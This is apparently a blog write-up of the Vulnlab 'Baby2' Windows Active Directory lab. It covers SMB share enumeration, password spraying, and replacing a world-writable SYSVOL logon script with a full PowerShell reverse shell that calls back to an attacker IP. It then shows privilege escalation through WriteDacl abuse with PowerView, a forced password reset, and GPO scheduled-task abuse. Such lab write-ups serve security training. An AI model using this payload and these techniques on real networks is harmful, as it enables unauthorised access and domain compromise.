Vulnlab - Baby2 [Medium] | My New Hugo Site

Name	OS	Difficulty
Baby2	Windows	Medium

Summary

We will be exploring some SMB shares where we would find some folders of the users and a shortcut that is going to hint of a logon script that gets executed every time a user logs in. Then we are going to exploit some weak credentials and find a writable share that we can use to modify the login VBS script, that would give us the initial shell. Then we are going to exploit some WriteDACL permissions to gain GenericAll permission on our account over a targeted account, which we can use to change the password of that account. After that, this account would have GenericAll permissions over the DDP (Default Domain Policy) and we can leverage that by creating a Scheduled Task that will execute immediately to add our controlled account to the local administrators, with that we can log in with that account, and we will be a local administrator on that machine.

Initial Foothold

We are going to start with an TCP/UDP scan:

$ sudo nmap -sS -sU 10.10.101.112 --min-rate 10000

Let’s start enumerating the surface, since that we have an SMB protocol we can start with it.

Let’s try NULL session first:

We cannot list any shares using the null session, so let’s move on and try with a random username:

$ netexec smb 10.10.101.112 -u 'sfgsfgsf' -p '' --shares

We successfully listed a few shares, we won’t go into the default ones, let’s see what is in the */apps and /homes:

We got a few files, CHANGELOG and login.vbs.lnk which is a Windows Shortcut format, from the CHANGELOG file we understood that some drive mapping is happening and from the login shortcut we can extract the following useful information using lnkinfo:

$ lnkinfo login.vbs.lnk
Local path                      : C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs
Network path                    : \\DC\NETLOGON\login.vbs
Relative path                   : ..\..\..\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs
Working directory               : C:\Windows\SYSVOL\sysvol\baby2.vl\scripts

There is a VBS file in the SYSVOL share that we are still unsure what it does, however with the information that we have we can OSINT a bit to understand what are those files.

We will find this question in serverfault, which is related to a network drive mapping and some logon scripts. We can conclude that some script is firing up whenever we log in as a user, this will become useful later, so let’s note that and move on.

Next, lets explore the /homes share.

$ smbclient //10.10.101.112/homes -U 'sfgsfgsf'

This would give us a list of usernames that are most likely related to the Active Directory. Let’s save those in a file and try them against the SMB protocol, for the password we would try to exploit some weak credentials.

$ netexec smb 10.10.101.112 -u ./credentials/users.txt -p ./credentials/users.txt

We would find that we can log in as Carl.Moore since we got a git for his username used as a password.

Let’s list the shares once more, we may have different shares that we can read.

$ netexec smb baby2.vl -u 'Carl.Moore' -p 'Carl.Moore' --shares
SMB         10.10.101.112   445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:baby2.vl)
SMB         10.10.101.112   445    DC               [+] baby2.vl\Carl.Moore:Carl.Moore 
SMB         10.10.101.112   445    DC               [*] Enumerated shares
SMB         10.10.101.112   445    DC               Share           Permissions     Remark
SMB         10.10.101.112   445    DC               -----           -----------     ------
SMB         10.10.101.112   445    DC               ADMIN$                          Remote Admin
SMB         10.10.101.112   445    DC               apps            READ,WRITE      
SMB         10.10.101.112   445    DC               C$                              Default share
SMB         10.10.101.112   445    DC               docs            READ,WRITE      
SMB         10.10.101.112   445    DC               homes           READ,WRITE      
SMB         10.10.101.112   445    DC               IPC$            READ            Remote IPC
SMB         10.10.101.112   445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.101.112   445    DC               SYSVOL          READ            Logon server share

We can now read the /docs and our other point of interest, which is the SYSVOL share. The /docs share was empty so lets look at the VBS script that is located in the SYSVOL share.

Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")    
  
    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
            isMapped = True
            Exit For
        End If
    Next
    
    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
    End If
    
    objNetwork.MapNetworkDrive driveLetter & ":", sharePath
    
    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
    End If
    
    Set objNetwork = Nothing
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"

We found the script, that is hinting the same thing that we found in the question above, it is mapping the domain shares as disk drives, nothing else useful can be derived from that. However, one thing that netexec isn’t showing (or perhaps it shows wrong) is that we can actually modify this file.

$ smbcacls //10.10.101.112/SYSVOL /baby2.vl/scripts/login.vbs -U 'Carl.Moore%Carl.Moore'
REVISION:1
CONTROL:SR|DI|DP
OWNER:BUILTIN\Administrators
GROUP baby2.vl\Domain Users 
ACL:BUILTIN\Administrators:ALLOWED/I/FULL
ACL:NT AUTHORITY\Authenticated Users:ALLOWED/I/FULL
ACL:Everyone:ALLOWED/I/FULL <---------------
ACL:NT AUTHORITY\SYSTEM:ALLOWED/I/FULL
ACL:BUILTIN\Server Operators:ALLOWED/I/READ

We can see that we can actually control the file: ACL:Everyone:ALLOWED/I/FULL

So let’s modify the file to get us the initial foothold by spawning a PowerShell reverse shell.

createobject("wscript.shell").run"cmd.exe /c powershell ""$client=New-Object System.Net.Sockets.TCPClient('10.8.0.107',9192);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",0

We spawned a shell which belongs to Amelia.Griffiths, we can now read the user flag.

Privilege Escalation

For this part, we must enumerate the environment first, so let’s use python’s version of bloodhound.

$ bloodhoundpy -c All -d baby2.vl -dc dc.baby2.vl -u Carl.Moore -p 'Carl.Moore' -ns 10.10.101.112

And after we gather all the stuff and load them into bloodhound, we can see what permission does our owned user

Amelia.Griffiths Is a member of a group called LEGACY which has WriteDacl permissions over the GPOADM user of the domain, in that case let’s use those techniques:

Transfer the PowerView to the machine and then:

PS > . .\PowerView.ps1
PS > Add-DomainObjectAcl -Rights 'All' -TargetIdentity "GPOADM" -PrincipalIdentity "Amelia.Griffiths"

We are granting GenericALL over the user GPOADM and then we can use the second technique:

PS > $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS > Set-DomainUserPassword -Identity GPOADM -AccountPassword $UserPassword

Then we can try if that worked:

We can try using evil-winrm to log in, but that won’t work just yet, just because if we list the local accounts on the machine we don’t actually have the gpoadm user there, so we must add it first. In order to that, we must abuse the GPO rights, using the **Immediate Scheduled Task technique.

Let’s figure out first the GPOs that we can abuse, we can either look that up in the bloodhound or by using the gpoowned tool.

Then we can craft our command to abuse the scheduled tasks

$ pygpoabuse baby2.vl/gpoadm:'Password123!' -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' -dc-ip 10.10.78.135 -v -command 'net localgroup administrators GPOADM /add'

And we should be able to log in as the user gpoadm using evil-winrm